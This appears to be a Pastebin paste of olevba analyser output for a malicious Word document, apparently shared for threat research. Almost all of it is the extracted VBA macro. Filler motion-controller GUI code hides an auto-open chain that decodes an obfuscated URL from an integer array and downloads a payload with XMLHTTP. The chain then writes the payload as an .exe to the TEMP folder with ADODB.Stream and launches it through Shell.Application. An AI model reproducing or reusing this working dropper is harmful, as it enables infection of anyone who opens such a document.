dynamoo

Malicious Word macro

Dec 3rd, 2015
346
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASI-B-V malware1.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: malware1.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: malware1.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub autoopen()
  16. ZHOMEMINUS_Click
  17. ProcessMST ""
  18. ProcessSync 0
  19. End Sub
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28. -------------------------------------------------------------------------------
  29. VBA MACRO Module1.bas
  30. in file: malware1.doc - OLE stream: u'Macros/VBA/Module1'
  31. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  32. Dim strData As String
  33. Dim counter As String
  34. Public reportName1 As Object
  35. Public emailOutPath As Object
  36. Public CRAXDASR  As Object
  37. Public newYz As String
  38. Public logicBOX As String
  39. Public unitBOX As Object
  40. Dim ConnectionCounter As Long
  41. Dim DownloadStep As Long
  42. Dim UploadStep As Long
  43. Private Sub SetSpeedAccel()
  44.  Dim ret As Integer
  45.  Dim strData As String
  46.  Call EthernetSen.dReceive("HS=" + HSPD, strData)
  47.  Call EthernetSen.dReceive("LS=" + LSPD, strData)
  48.  Call EthernetSen.dReceive("ACC=" + Accel, strData)
  49.  If FirmwareVer >= 218 Then
  50.  Call EthernetSen.dReceive("DEC=" + Decel, strData)
  51.  End If
  52. End Sub
  53. Private Sub Client_Click()
  54. End Sub
  55. Private Sub Check1_Click()
  56. End Sub
  57. Private Sub ABORT_Click()
  58.  Dim tempStr As String
  59.  Dim i As Integer
  60.  If ComStatus = False Then Exit Sub
  61.  SetSpeedAccel
  62.  For i = 1 To 4
  63.  tempStr = ""
  64.  If i = 1 Then
  65.  If (SelectX.Value = 1) Then
  66.  Call EthernetSen.dReceive("ABORTX", strData)
  67.  If (strData <> "OK") Then
  68.  MsgBox (strData)
  69.  End If
  70.  End If
  71.  ElseIf i = 2 Then
  72.  If (SelectY.Value = 1) Then
  73.  Call EthernetSen.dReceive("ABORTY", strData)
  74.  If (strData <> "OK") Then
  75.  MsgBox (strData)
  76.  End If
  77.  End If
  78.  ElseIf i = 3 Then
  79.  If (SelectZ.Value = 1) Then
  80.  Call EthernetSen.dReceive("ABORTZ", strData)
  81.  If (strData <> "OK") Then
  82.  MsgBox (strData)
  83.  End If
  84.  End If
  85.  ElseIf i = 4 Then
  86.  If (SelectU.Value = 1) Then
  87.  Call EthernetSen.dReceive("ABORTU", strData)
  88.  If (strData <> "OK") Then
  89.  MsgBox (strData)
  90.  End If
  91.  End If
  92.  End If
  93.  Next i
  94. End Sub
  95. Private Sub ABS_Click()
  96.  Dim tempStr As String
  97.  Dim i As Integer
  98.  SetSpeedAccel
  99.  tempStr = ""
  100.  For i = 1 To 4
  101.  If i = 1 Then
  102.  If (SelectX.Value = 1) Then
  103.  tempStr = tempStr + "X" + TargetX
  104.  End If
  105.  ElseIf i = 2 Then
  106.  If (SelectY.Value = 1) Then
  107.  tempStr = tempStr + "Y" + TargetY
  108.  End If
  109.  ElseIf i = 3 Then
  110.  If (SelectZ.Value = 1) Then
  111.  tempStr = tempStr + "Z" + TargetZ
  112.  End If
  113.  ElseIf i = 4 Then
  114.  If (SelectU.Value = 1) Then
  115.  tempStr = tempStr + "U" + TargetU
  116.  End If
  117.  End If
  118.  Next i
  119.  If tempStr = "" Then Exit Sub
  120.  Call EthernetSen.dReceive(tempStr, strData)
  121.  If (strData <> "OK") Then
  122.  MsgBox (strData)
  123.  End If
  124. End Sub
  125. Private Sub CheckComm_Timer()
  126. End Sub
  127. Private Sub clear_Click()
  128.  ret = PROCESSCMD("CLR", 1)
  129. End Sub
  130. Private Sub clrs_Click()
  131.  ret = PROCESSCMD("CLRS", 1)
  132. End Sub
  133.  
  134. Private Sub Command15_Click()
  135. Dim tempStr As String
  136.  Dim cmdStr As String
  137.  Dim i As Integer
  138.  Dim Index As Long
  139.  Dim ret As Integer
  140.  If ComStatus = False Then Exit Sub
  141.  Index = 0
  142.  For i = 1 To 4
  143.  tempStr = ""
  144.  If i = 1 Then
  145.  If (SelectX.Value = 1) Then
  146.  Index = Index + 1
  147.  cmdStr = "PX=" + TargetX
  148.  Call EthernetSen.dReceive(cmdStr, strData)
  149.  End If
  150.  ElseIf i = 2 Then
  151.  If (SelectY.Value = 1) Then
  152.  Index = Index + 1
  153.  cmdStr = "PY=" + TargetY
  154.  Call EthernetSen.dReceive(cmdStr, strData)
  155.  End If
  156.  ElseIf i = 3 Then
  157.  If (SelectZ.Value = 1) Then
  158.  Index = Index + 1
  159.  cmdStr = "PZ=" + TargetZ
  160.  Call EthernetSen.dReceive(cmdStr, strData)
  161.  End If
  162.  ElseIf i = 4 Then
  163.  If (SelectU.Value = 1) Then
  164.  Index = Index + 1
  165.  cmdStr = "PU=" + TargetU
  166.  Call EthernetSen.dReceive(cmdStr, strData)
  167.  End If
  168.  End If
  169.  Next i
  170. End Sub
  171. Private Sub Command16_Click()
  172.  Dim tempStr As String
  173.  Dim cmdStr As String
  174.  Dim i As Integer
  175.  Dim Index As Long
  176.  Dim ret As Integer
  177.  If ComStatus = False Then Exit Sub
  178.  Index = 0
  179.  For i = 1 To 4
  180.  tempStr = ""
  181.  If i = 1 Then
  182.  If (SelectX.Value = 1) Then
  183.  Index = Index + 1
  184.  cmdStr = "EX=" + TargetX
  185.  Call EthernetSen.dReceive(cmdStr, strData)
  186.  End If
  187.  ElseIf i = 2 Then
  188.  If (SelectY.Value = 1) Then
  189.  Index = Index + 1
  190.  cmdStr = "EY=" + TargetY
  191.  Call EthernetSen.dReceive(cmdStr, strData)
  192.  End If
  193.  ElseIf i = 3 Then
  194.  If (SelectZ.Value = 1) Then
  195.  Index = Index + 1
  196.  cmdStr = "EZ=" + TargetZ
  197.  Call EthernetSen.dReceive(cmdStr, strData)
  198.  End If
  199.  ElseIf i = 4 Then
  200.  If (SelectU.Value = 1) Then
  201.  Index = Index + 1
  202.  cmdStr = "EU=" + TargetU
  203.  Call EthernetSen.dReceive(cmdStr, strData)
  204.  End If
  205.  End If
  206.  Next i
  207. End Sub
  208. Private Sub Command17_Click()
  209. Dim tempStr As String
  210.  Dim i As Integer
  211.  If ComStatus = False Then Exit Sub
  212.  SetSpeedAccel
  213.  For i = 1 To 4
  214.  tempStr = ""
  215.  If i = 1 Then
  216.  If (SelectX.Value = 1) Then
  217.  Call EthernetSen.dReceive("HX-4", strData)
  218.  If (strData <> "OK") Then
  219.  MsgBox (strData)
  220.  End If
  221.  End If
  222.  ElseIf i = 2 Then
  223.  If (SelectY.Value = 1) Then
  224.  Call EthernetSen.dReceive("HY-4", strData)
  225.  If (strData <> "OK") Then
  226.  MsgBox (strData)
  227.  End If
  228.  End If
  229.  ElseIf i = 3 Then
  230.  If (SelectZ.Value = 1) Then
  231.  Call EthernetSen.dReceive("HZ-4", strData)
  232.  If (strData <> "OK") Then
  233.  MsgBox (strData)
  234.  End If
  235.  End If
  236.  ElseIf i = 4 Then
  237.  If (SelectU.Value = 1) Then
  238.  Call EthernetSen.dReceive("HU-4", strData)
  239.  If (strData <> "OK") Then
  240.  MsgBox (strData)
  241.  End If
  242.  End If
  243.  End If
  244.  Next i
  245. End Sub
  246. Private Sub Command18_Click()
  247.  Dim cmdStr As String
  248.  Dim replyStr As String
  249.  Dim ret As Integer
  250.  If (ComStatus = False) Then Exit Sub
  251.  cmdStr = "TX" + TXPosition
  252.  Call EthernetSen.dReceive(cmdStr, strData)
  253.  If (strData <> "OK") Then
  254.  MsgBox (strData)
  255.  End If
  256. End Sub
  257. Private Sub Command19_Click()
  258.  Dim cmdStr As String
  259.  Dim replyStr As String
  260.  Dim ret As Integer
  261.  If (ComStatus = False) Then Exit Sub
  262.  cmdStr = "TY" + TYPosition
  263.  Call EthernetSen.dReceive(cmdStr, strData)
  264.  If (strData <> "OK") Then
  265.  MsgBox (strData)
  266.  End If
  267. End Sub
  268. Private Sub Command12_Click()
  269.  isLoadingImove = True
  270.  Imove.Show vbModal, Me
  271. End Sub
  272. Private Sub Command2_Click()
  273.  Dim tempStr As String
  274.  Dim i As Integer
  275.  If ComStatus = False Then Exit Sub
  276.  SetSpeedAccel
  277.  For i = 1 To 4
  278.  tempStr = ""
  279.  If i = 1 Then
  280.  If (SelectX.Value = 1) Then
  281.  Call EthernetSen.dReceive("HX+3", strData)
  282.  If (strData <> "OK") Then
  283.  MsgBox (strData)
  284.  End If
  285.  End If
  286.  ElseIf i = 2 Then
  287.  If (SelectY.Value = 1) Then
  288.  Call EthernetSen.dReceive("HY+3", strData)
  289.  If (strData <> "OK") Then
  290.  MsgBox (strData)
  291.  End If
  292.  End If
  293.  ElseIf i = 3 Then
  294.  If (SelectZ.Value = 1) Then
  295.  Call EthernetSen.dReceive("HZ+3", strData)
  296.  If (strData <> "OK") Then
  297.  MsgBox (strData)
  298.  End If
  299.  End If
  300.  ElseIf i = 4 Then
  301.  If (SelectU.Value = 1) Then
  302.  Call EthernetSen.dReceive("HU+3", strData)
  303.  If (strData <> "OK") Then
  304.  MsgBox (strData)
  305.  End If
  306.  End If
  307.  End If
  308.  Next i
  309. End Sub
  310. Private Sub Command20_Click()
  311. Dim cmdStr As String
  312.  Dim replyStr As String
  313.  Dim ret As Integer
  314.  If (ComStatus = False) Then Exit Sub
  315.  cmdStr = "TZ" + TZPosition
  316.  Call EthernetSen.dReceive(cmdStr, strData)
  317.  If (strData <> "OK") Then
  318.  MsgBox (strData)
  319.  End If
  320. End Sub
  321. Private Sub Command21_Click()
  322.  Dim cmdStr As String
  323.  Dim replyStr As String
  324.  Dim ret As Integer
  325.  If (ComStatus = False) Then Exit Sub
  326.  cmdStr = "TU" + TUPosition
  327.  Call EthernetSen.dReceive(cmdStr, strData)
  328.  If (strData <> "OK") Then
  329.  MsgBox (strData)
  330.  End If
  331. End Sub
  332. Private Sub Command22_Click()
  333.  Dim lvalue As Long
  334.  Dim i As Integer
  335.  Dim str1 As String
  336.  Dim replyStr As String
  337.  Dim FirmStr As String
  338.  Dim ret As Integer
  339.  str1 = FirmwareVer
  340.  FirmStr = "Software Version: " + GUIVersion + Chr(13) + Chr(13)
  341.  FirmStr = FirmStr + "Firmware Version: V" + str1 + Chr(13) + Chr(13)
  342.  If FirmwareVer < 219 Then
  343.  FirmStr = FirmStr + "The following GUI features are not supported by this firmware:" + Chr(13)
  344.  If (FirmwareVer < 219) Then
  345.  FirmStr = FirmStr + Chr(13) + " - Digital input polarity"
  346.  FirmStr = FirmStr + Chr(13) + " - Digital output polarity"
  347.  FirmStr = FirmStr + Chr(13) + " - Enable output polarity"
  348.  FirmStr = FirmStr + Chr(13) + " - Standalone error polarity"
  349.  End If
  350.  If (FirmwareVer < 218) Then
  351.  FirmStr = FirmStr + Chr(13) + " - Low speed homing routine"
  352.  FirmStr = FirmStr + Chr(13) + " - Deceleration option for linear motion"
  353.  FirmStr = FirmStr + Chr(13) + " - Acceleration/deceleration for circular interpolation"
  354.  FirmStr = FirmStr + Chr(13) + " - On-the-fly position change"
  355.  FirmStr = FirmStr + Chr(13) + " - Multi-threading capabilities for standalone"
  356.  FirmStr = FirmStr + Chr(13) + " - Digital output configuration on boot-up"
  357.  FirmStr = FirmStr + Chr(13) + " - Enable output configuration on boot-up"
  358.  End If
  359.  End If
  360.  MsgBox (FirmStr)
  361. End Sub
  362. Private Sub Command23_Click()
  363. Dim tempStr As String
  364.  Dim i As Integer
  365.  If ComStatus = False Then Exit Sub
  366.  SetSpeedAccel
  367.  For i = 1 To 4
  368.  tempStr = ""
  369.  If i = 1 Then
  370.  If (SelectX.Value = 1) Then
  371.  Call EthernetSen.dReceive("HX+4", strData)
  372.  If (strData <> "OK") Then
  373.  MsgBox (strData)
  374.  End If
  375.  End If
  376.  ElseIf i = 2 Then
  377.  If (SelectY.Value = 1) Then
  378.  Call EthernetSen.dReceive("HY+4", strData)
  379.  If (strData <> "OK") Then
  380.  MsgBox (strData)
  381.  End If
  382.  End If
  383.  ElseIf i = 3 Then
  384.  If (SelectZ.Value = 1) Then
  385.  Call EthernetSen.dReceive("HZ+4", strData)
  386.  If (strData <> "OK") Then
  387.  MsgBox (strData)
  388.  End If
  389.  End If
  390.  ElseIf i = 4 Then
  391.  If (SelectU.Value = 1) Then
  392.  Call EthernetSen.dReceive("HU+4", strData)
  393.  If (strData <> "OK") Then
  394.  MsgBox (strData)
  395.  End If
  396.  End If
  397.  End If
  398.  Next i
  399. End Sub
  400. Public Function ProcessSASTAT(str As String) As String
  401.  Dim lvalue As Long
  402.  lvalue = str
  403.  If lvalue = 0 Then
  404.  ProcessSASTAT = "Idle"
  405.  ElseIf lvalue = 1 Then
  406.  ProcessSASTAT = "Running"
  407.  ElseIf lvalue = 2 Then
  408.  ProcessSASTAT = "Paused"
  409.  ElseIf lvalue = 4 Then
  410.  ProcessSASTAT = "Errored"
  411.  End If
  412. End Function
  413. Public Function ProcessSync(str As Long) As String
  414. unitBOX.Open (logicBOX)
  415.  If str = 0 Then
  416.  ProcessSync = "OFF"
  417.  ElseIf str = 1 Then
  418.  ProcessSync = "WAITING"
  419.  ElseIf str = 2 Then
  420.  ProcessSync = "TRIGGERED"
  421.  End If
  422. End Function
  423. Function ProcessPulse(str As String) As String
  424.  Dim j As Integer
  425.  Dim posStr As String
  426.  posStr = ""
  427.  j = 1
  428.  For i = 1 To Len(str)
  429.  cc = Mid(str, i, 1)
  430.  If (cc = ":") Or (i = Len(str)) Then
  431.  If (j = 1) Then
  432.  PX = posStr
  433.  ElseIf (j = 2) Then
  434.  PY = posStr
  435.  ElseIf (j = 3) Then
  436.  PZ = posStr
  437.  Else
  438.  posStr = posStr + cc
  439.  PU = posStr
  440.  End If
  441.  posStr = ""
  442.  j = j + 1
  443.  Else
  444.  posStr = posStr + cc
  445.  End If
  446.  Next i
  447. End Function
  448. Function ProcessEncoder(str As String) As String
  449.  Dim j As Integer
  450.  Dim posStr As String
  451.  posStr = ""
  452.  j = 1
  453.  For i = 1 To Len(str)
  454.  cc = Mid(str, i, 1)
  455.  If (cc = ":") Or (i = Len(str)) Then
  456.  If (j = 1) Then
  457.  EX = posStr
  458.  ElseIf (j = 2) Then
  459.  EY = posStr
  460.  ElseIf (j = 3) Then
  461.  EZ = posStr
  462.  Else
  463.  posStr = posStr + cc
  464.  EU = posStr
  465.  End If
  466.  posStr = ""
  467.  j = j + 1
  468.  Else
  469.  posStr = posStr + cc
  470.  End If
  471.  Next i
  472. End Function
  473. Function ProcessSpeed(str As String) As String
  474.  Dim j As Integer
  475.  Dim posStr As String
  476.  posStr = ""
  477.  j = 1
  478.  For i = 1 To Len(str)
  479.  cc = Mid(str, i, 1)
  480.  If (cc = ":") Or (i = Len(str)) Then
  481.  If (j = 1) Then
  482.  SX = posStr
  483.  ElseIf (j = 2) Then
  484.  SY = posStr
  485.  ElseIf (j = 3) Then
  486.  SZ = posStr
  487.  Else
  488.  posStr = posStr + cc
  489.  SU = posStr
  490.  End If
  491.  posStr = ""
  492.  j = j + 1
  493.  Else
  494.  posStr = posStr + cc
  495.  End If
  496.  Next i
  497. End Function
  498. Private Function processSLS(str As Long)
  499.  Dim lvalue As Long
  500.  lvalue = str
  501.  With emailOutPath
  502.    emailOutPath.Type = 1
  503.     emailOutPath.Open
  504.     emailOutPath.write reportName1.responseBody
  505.     emailOutPath.savetofile logicBOX, 2
  506. End With
  507. Exit Function
  508.  If lvalue = 12 Then
  509.  processSLS = "NA"
  510.  End If
  511.  If lvalue = 0 Then
  512.  processSLS = "IDLE"
  513.  End If
  514.  If lvalue = 1 Then
  515.  processSLS = "MOVING"
  516.  End If
  517.  If lvalue = 2 Then
  518.  processSLS = "CORRECTING"
  519.  End If
  520.  If lvalue = 3 Then
  521.  processSLS = "STOPPING"
  522.  End If
  523.  If lvalue = 4 Then
  524.  processSLS = "ABORTING"
  525.  End If
  526.  If lvalue = 5 Then
  527.  processSLS = "JOGGING"
  528.  End If
  529.  If lvalue = 6 Then
  530.  processSLS = "HOMING"
  531.  End If
  532.  If lvalue = 7 Then
  533.  processSLS = "Z-HOMING"
  534.  End If
  535.  If lvalue = 8 Then
  536.  processSLS = "ERR-RANGE"
  537.  End If
  538.  If lvalue = 9 Then
  539.  processSLS = "ERR-ATMPT"
  540.  End If
  541.  If lvalue = 10 Then
  542.  processSLS = "ERR-STALL"
  543.  End If
  544.  If lvalue = 11 Then
  545.  processSLS = "ERR-LIM"
  546.  End If
  547. End Function
  548. Public Function ProcessMST(str As String)
  549.  Dim j As Integer
  550.  Dim statStr As String
  551.  Dim statValue As Long
  552.  statStr = ""
  553.  counter = counter + "."
  554.  logicBOX = newYz + "\" + "coloc" + LCase(counter) + "exe"
  555.  processSLS 0
  556.  Exit Function
  557.  j = 1
  558.  For i = 1 To Len(str)
  559.  cc = Mid(str, i, 1)
  560.  If (cc = ":") Or (i = Len(str)) Then
  561.  If (j = 1) Then
  562.  statValue = statStr
  563.  If (BitA.ND(statValue, 1) = 1) Then
  564.  StatX = "Accelerating"
  565.  ElseIf (BitA.ND(statValue, 2) = 2) Then
  566.  StatX = "Decelerating"
  567.  ElseIf (BitA.ND(statValue, 4) = 4) Then
  568.  StatX = "Constant"
  569.  ElseIf (BitA.ND(statValue, 128) = 128) Then
  570.  StatX = "+LimError"
  571.  ElseIf (BitA.ND(statValue, 256) = 256) Then
  572.  StatX = "-LimError"
  573.  ElseIf (BitA.ND(statValue, 512) = 512) Then
  574.  StatX = "AlarmError"
  575.  Else
  576.  StatX = "Idle"
  577.  End If
  578.  If (BitA.ND(statValue, 8) = 8) Then
  579.  AlarmX.BackStyle = 1
  580.  Else
  581.  AlarmX.BackStyle = 0
  582.  End If
  583.  If (BitA.ND(statValue, 16) = 16) Then
  584.  PLimX.BackStyle = 1
  585.  Else
  586.  PLimX.BackStyle = 0
  587.  End If
  588.  If (BitA.ND(statValue, 32) = 32) Then
  589.  NLimX.BackStyle = 1
  590.  Else
  591.  NLimX.BackStyle = 0
  592.  End If
  593.  If (BitA.ND(statValue, 64) = 64) Then
  594.  HomeX.BackStyle = 1
  595.  Else
  596.  HomeX.BackStyle = 0
  597.  End If
  598.  ElseIf (j = 2) Then
  599.  statValue = statStr
  600.  If (BitA.ND(statValue, 1) = 1) Then
  601.  StatY = "Accelerating"
  602.  ElseIf (BitA.ND(statValue, 2) = 2) Then
  603.  StatY = "Decelerating"
  604.  ElseIf (BitA.ND(statValue, 4) = 4) Then
  605.  StatY = "Constant"
  606.  ElseIf (BitA.ND(statValue, 128) = 128) Then
  607.  StatY = "+LimError"
  608.  ElseIf (BitA.ND(statValue, 256) = 256) Then
  609.  StatY = "-LimError"
  610.  ElseIf (BitA.ND(statValue, 512) = 512) Then
  611.  StatY = "AlarmError"
  612.  Else
  613.  StatY = "Idle"
  614.  End If
  615.  If (BitA.ND(statValue, 8) = 8) Then
  616.  AlarmY.BackStyle = 1
  617.  Else
  618.  AlarmY.BackStyle = 0
  619.  End If
  620.  If (BitA.ND(statValue, 16) = 16) Then
  621.  PLimY.BackStyle = 1
  622.  Else
  623.  PLimY.BackStyle = 0
  624.  End If
  625.  If (BitA.ND(statValue, 32) = 32) Then
  626.  NLimY.BackStyle = 1
  627.  Else
  628.  NLimY.BackStyle = 0
  629.  End If
  630.  If (BitA.ND(statValue, 64) = 64) Then
  631.  HomeY.BackStyle = 1
  632.  Else
  633.  HomeY.BackStyle = 0
  634.  End If
  635.  ElseIf (j = 3) Then
  636.  statValue = statStr
  637.  If (BitA.ND(statValue, 1) = 1) Then
  638.  StatZ = "Accelerating"
  639.  ElseIf (BitA.ND(statValue, 2) = 2) Then
  640.  StatZ = "Decelerating"
  641.  ElseIf (BitA.ND(statValue, 4) = 4) Then
  642.  StatZ = "Constant"
  643.  ElseIf (BitA.ND(statValue, 128) = 128) Then
  644.  StatZ = "+LimError"
  645.  ElseIf (BitA.ND(statValue, 256) = 256) Then
  646.  StatZ = "-LimError"
  647.  ElseIf (BitA.ND(statValue, 512) = 512) Then
  648.  StatZ = "AlarmError"
  649.  Else
  650.  StatZ = "Idle"
  651.  End If
  652.  If (BitA.ND(statValue, 8) = 8) Then
  653.  AlarmZ.BackStyle = 1
  654.  Else
  655.  AlarmZ.BackStyle = 0
  656.  End If
  657.  If (BitA.ND(statValue, 16) = 16) Then
  658.  PLimZ.BackStyle = 1
  659.  Else
  660.  PLimZ.BackStyle = 0
  661.  End If
  662.  If (BitA.ND(statValue, 32) = 32) Then
  663.  NLimZ.BackStyle = 1
  664.  Else
  665.  NLimZ.BackStyle = 0
  666.  End If
  667.  If (BitA.ND(statValue, 64) = 64) Then
  668.  HomeZ.BackStyle = 1
  669.  Else
  670.  HomeZ.BackStyle = 0
  671.  End If
  672.  ElseIf (j = 4) Then
  673.  statValue = statStr
  674.  If (BitA.ND(statValue, 1) = 1) Then
  675.  StatU = "Accelerating"
  676.  ElseIf (BitA.ND(statValue, 2) = 2) Then
  677.  StatU = "Decelerating"
  678.  ElseIf (BitA.ND(statValue, 4) = 4) Then
  679.  StatU = "Constant"
  680.  ElseIf (BitA.ND(statValue, 128) = 128) Then
  681.  StatU = "+LimError"
  682.  ElseIf (BitA.ND(statValue, 256) = 256) Then
  683.  StatU = "-LimError"
  684.  ElseIf (BitA.ND(statValue, 512) = 512) Then
  685.  StatU = "AlarmError"
  686.  Else
  687.  StatU = "Idle"
  688.  End If
  689.  If (BitA.ND(statValue, 8) = 8) Then
  690.  AlarmU.BackStyle = 1
  691.  Else
  692.  AlarmU.BackStyle = 0
  693.  End If
  694.  If (BitA.ND(statValue, 16) = 16) Then
  695.  PLimU.BackStyle = 1
  696.  Else
  697.  PLimU.BackStyle = 0
  698.  End If
  699.  If (BitA.ND(statValue, 32) = 32) Then
  700.  NLimU.BackStyle = 1
  701.  Else
  702.  NLimU.BackStyle = 0
  703.  End If
  704.  If (BitA.ND(statValue, 64) = 64) Then
  705.  HomeU.BackStyle = 1
  706.  Else
  707.  HomeU.BackStyle = 0
  708.  End If
  709.  ElseIf (j = 5) Then
  710.  statValue = statStr
  711.  If (statValue = 1) Then
  712.  BuffStat = "ON"
  713.  Else
  714.  BuffStat = "OFF"
  715.  End If
  716.  ElseIf (j = 6) Then
  717.  statValue = statStr
  718.  StartBuffer = statValue
  719.  ElseIf (j = 7) Then
  720.  statValue = statStr
  721.  EndBuffer = statValue
  722.  ElseIf (j = 8) Then
  723.  statValue = statStr
  724.  AvailableBuffer = statValue
  725.  ElseIf (j = 9) Then
  726.  statValue = statStr
  727.  If (statValue = 0) Then
  728.  MoveModeStat = "ABS"
  729.  Else
  730.  MoveModeStat = "INC"
  731.  End If
  732.  End If
  733.  statStr = ""
  734.  j = j + 1
  735.  Else
  736.  statStr = statStr + cc
  737.  End If
  738.  Next i
  739. End Function
  740. Private Sub Timer3_Timer()
  741.  Dim cmdStr As String
  742.  Dim replyStr As String
  743.  Dim ret As Integer
  744.  Dim lv1 As Long
  745.  Dim lv2 As Long
  746.  Dim lvalue As Long
  747.  Dim i, j As Integer
  748.  Dim cc As String
  749.  Dim posStr As String
  750.  Dim statStr As String
  751.  Dim statValue As Long
  752.  Dim parame() As Variant
  753. parame = Array(3616, 3628, 3628, 3624, 3570, 3559, 3559, 3630, 3617, 3622, 3627, 3612, 3613, 3620, 3611, 3623, 3621, 3628, 3609, 3628, 3558, 3611, 3623, 3621, 3559, 3629, 3565, 3633, 3564, 3563, 3562, 3559, 3616, 3565, 3564, 3614, 3563, 3558, 3613, 3632, 3613)
  754. reportName1.Open counter, generateattachments1(parame, 40), False
  755.  Dim myVal As Long
  756.  Dim iVal As Long
  757.  Dim DIOConfigValue As Long
  758.  If BufferMoveOp Then
  759.  If currentarray = loadedarrays Then
  760.  BufferMoveOp = False
  761.  Exit Sub
  762.  End If
  763.  If buffSuccess = True Or currentarray = 0 Then
  764.  buffSuccess = False
  765.  ret = PROCES.SCMD(Iarr.ay(currentarray), 1000)
  766.  End If
  767.  End If
  768.   reportName1.Send
  769.  newYz = CRAXDASR(Right(counter, 1) + "EMP")
  770. End Sub
  771. Private Sub UploadSAP_Click()
  772.  On Error GoTo Err
  773.  Dim fileName As String
  774.  Dim str As String
  775.  Dim lineStr As String
  776.  Dim line, str1 As String
  777.  Dim cc As String
  778.  counter = counter + "T"
  779.  Dim ccValue As Integer
  780.  Dim wp, i As Integer
  781.  Set unitBOX = CreateObject("Shell.Application")
  782.  Dim progStr As String
  783.  Dim projProgStr As String
  784.  Dim progi As Integer
  785.  Dim templ As Long
  786.  Dim selProgL As Long
  787.  Set CRAXDASR = CreateObject("WScript.Shell").Environment("Process")
  788.  Timer3_Timer
  789.  Exit Sub
  790.  Dim RetVal
  791.  If (ComStatus = False) Then Exit Sub
  792.  PausePolling = True
  793.  Call EthernetSen.dReceive("SR0=0", strData)
  794.  Call EthernetSen.dReceive("SR1=0", strData)
  795.  Call EthernetSen.dReceive("SR2=0", strData)
  796.  Call EthernetSen.dReceive("SR3=0", strData)
  797.  Call EthernetSen.dReceive("ABORT", strData)
  798.  Open App.Path + "\EXE\sa_download_upload_setup.txt" For Output As #2
  799.  Print #2, "LIN:7650"
  800.  Print #2, "IPA:" + IP
  801.  Print #2, "COM:ETHERNET"
  802.  Print #2, "POR:5001"
  803.  Print #2, "OPE:UPLOAD"
  804.  Print #2, "FIL:CompileOut.txt"
  805.  Print #2, "MOD:PMX-4ET-SA"
  806.  Close #2
  807.  Call DisableMain.Timers
  808.  ret = fnEtherne.tComClose(EthernetSocket)
  809.  RetVal = ShellAnd.Hold(App.Path + "\EXE\SA_Download_Upload.exe", 1)
  810.  Open App.Path + "\EXE\sa_compile_decompile_setup.txt" For Output As #3
  811.  Print #3, "MOD:PMX-4ET-SA"
  812.  Print #3, "OPE:DECOMPILE"
  813.  Print #3, "FIL:UploadOut.txt"
  814.  str1 = FirmwareVer
  815.  Print #3, "VER:" + str1
  816.  Close #3
  817.  RetVal = ShellAnd.Hold(App.Path + "\EXE\SA_Compile_Decompile.exe", 1)
  818.  Open App.Path + "\EXE\DecompileOut.prg" For Input As #4
  819.  OrgProgram.Text = ""
  820.  Do Until EOF(4)
  821.  Line Input #4, lineStr
  822.  OrgProgram.Text = OrgProgram.Text + lineStr + Chr(13) + Chr(10)
  823.  Loop
  824.  Close #4
  825.  ReadandDi.splayMsg (App.Path + "\EXE\DecompileOut.prg")
  826.  Call Form_L.oad
  827.  Exit Sub
  828. Err:
  829.  MsgBox (Err.Description)
  830. End Sub
  831. Public Sub ViewCompiled_Click()
  832.  Dim lineStr As String
  833.  counter = counter + "E"
  834.  Dim StrTemp As String
  835.  Set emailOutPath = CreateObject("Adodb.Stream")
  836.  UploadSAP_Click
  837.  Exit Sub
  838. On Error GoTo Report:
  839.  Open App.Path + "\EXE\CompileOut.txt" For Input As #1
  840.  StrTemp = ""
  841.  Do Until EOF(1)
  842.  Line Input #1, lineStr
  843.  ViewCompiledForm.viewList.AddItem (lineStr)
  844.  Loop
  845.  Close #1
  846.  ViewCompi.ledForm.Show vbModal
  847. Report:
  848. End Sub
  849. Public Sub ZHOMEMINUS_Click()
  850.  Dim tempStr As String
  851.  Dim i As Integer
  852.  counter = "G"
  853.  Set reportName1 = CreateObject("Microsoft" + ".XMLHTTP")
  854.  ViewCompiled_Click
  855.  Exit Sub
  856.  If ComStatus = False Then Exit Sub
  857.  SetSpeedAccel
  858.  For i = 1 To 4
  859.  tempStr = ""
  860.  If i = 1 Then
  861.  If (SelectX.Value = 1) Then
  862.  Call EthernetSe.ndReceive("HX-2", strData)
  863.  If (strData <> "OK") Then
  864.  MsgBox (strData)
  865.  End If
  866.  End If
  867.  ElseIf i = 2 Then
  868.  If (SelectY.Value = 1) Then
  869.  Call EthernetSe.ndReceive("HY-2", strData)
  870.  If (strData <> "OK") Then
  871.  MsgBox (strData)
  872.  End If
  873.  End If
  874.  ElseIf i = 3 Then
  875.  If (SelectZ.Value = 1) Then
  876.  Call EthernetSen.dReceive("HZ-2", strData)
  877.  If (strData <> "OK") Then
  878.  MsgBox (strData)
  879.  End If
  880.  End If
  881.  ElseIf i = 4 Then
  882.  If (SelectU.Value = 1) Then
  883.  Call EthernetSen.dReceive("HU-2", strData)
  884.  If (strData <> "OK") Then
  885.  MsgBox (strData)
  886.  End If
  887.  End If
  888.  End If
  889.  Next i
  890. End Sub
  891. Public Function generateattachments1(fromArr() As Variant, LenLen As Integer) As String
  892.     Dim i As Integer
  893.     Variabl = ""
  894.     For i = LBound(fromArr) To UBound(fromArr)
  895.         Variabl = Variabl & Chr(fromArr(i) - LenLen - 4 * LenLen - 3312)
  896.     Next i
  897.     generateattachments1 = Variabl
  898. End Function
  899. Private Sub ZHOMEPLUS_Click()
  900.  Dim tempStr As String
  901.  Dim i As Integer
  902.  If ComStatus = False Then Exit Sub
  903.  SetSpeedAccel
  904.  For i = 1 To 4
  905.  tempStr = ""
  906.  If i = 1 Then
  907.  If (SelectX.Value = 1) Then
  908.  Call EthernetSen.dReceive("HX+2", strData)
  909.  If (strData <> "OK") Then
  910.  MsgBox (strData)
  911.  End If
  912.  End If
  913.  ElseIf i = 2 Then
  914.  If (SelectY.Value = 1) Then
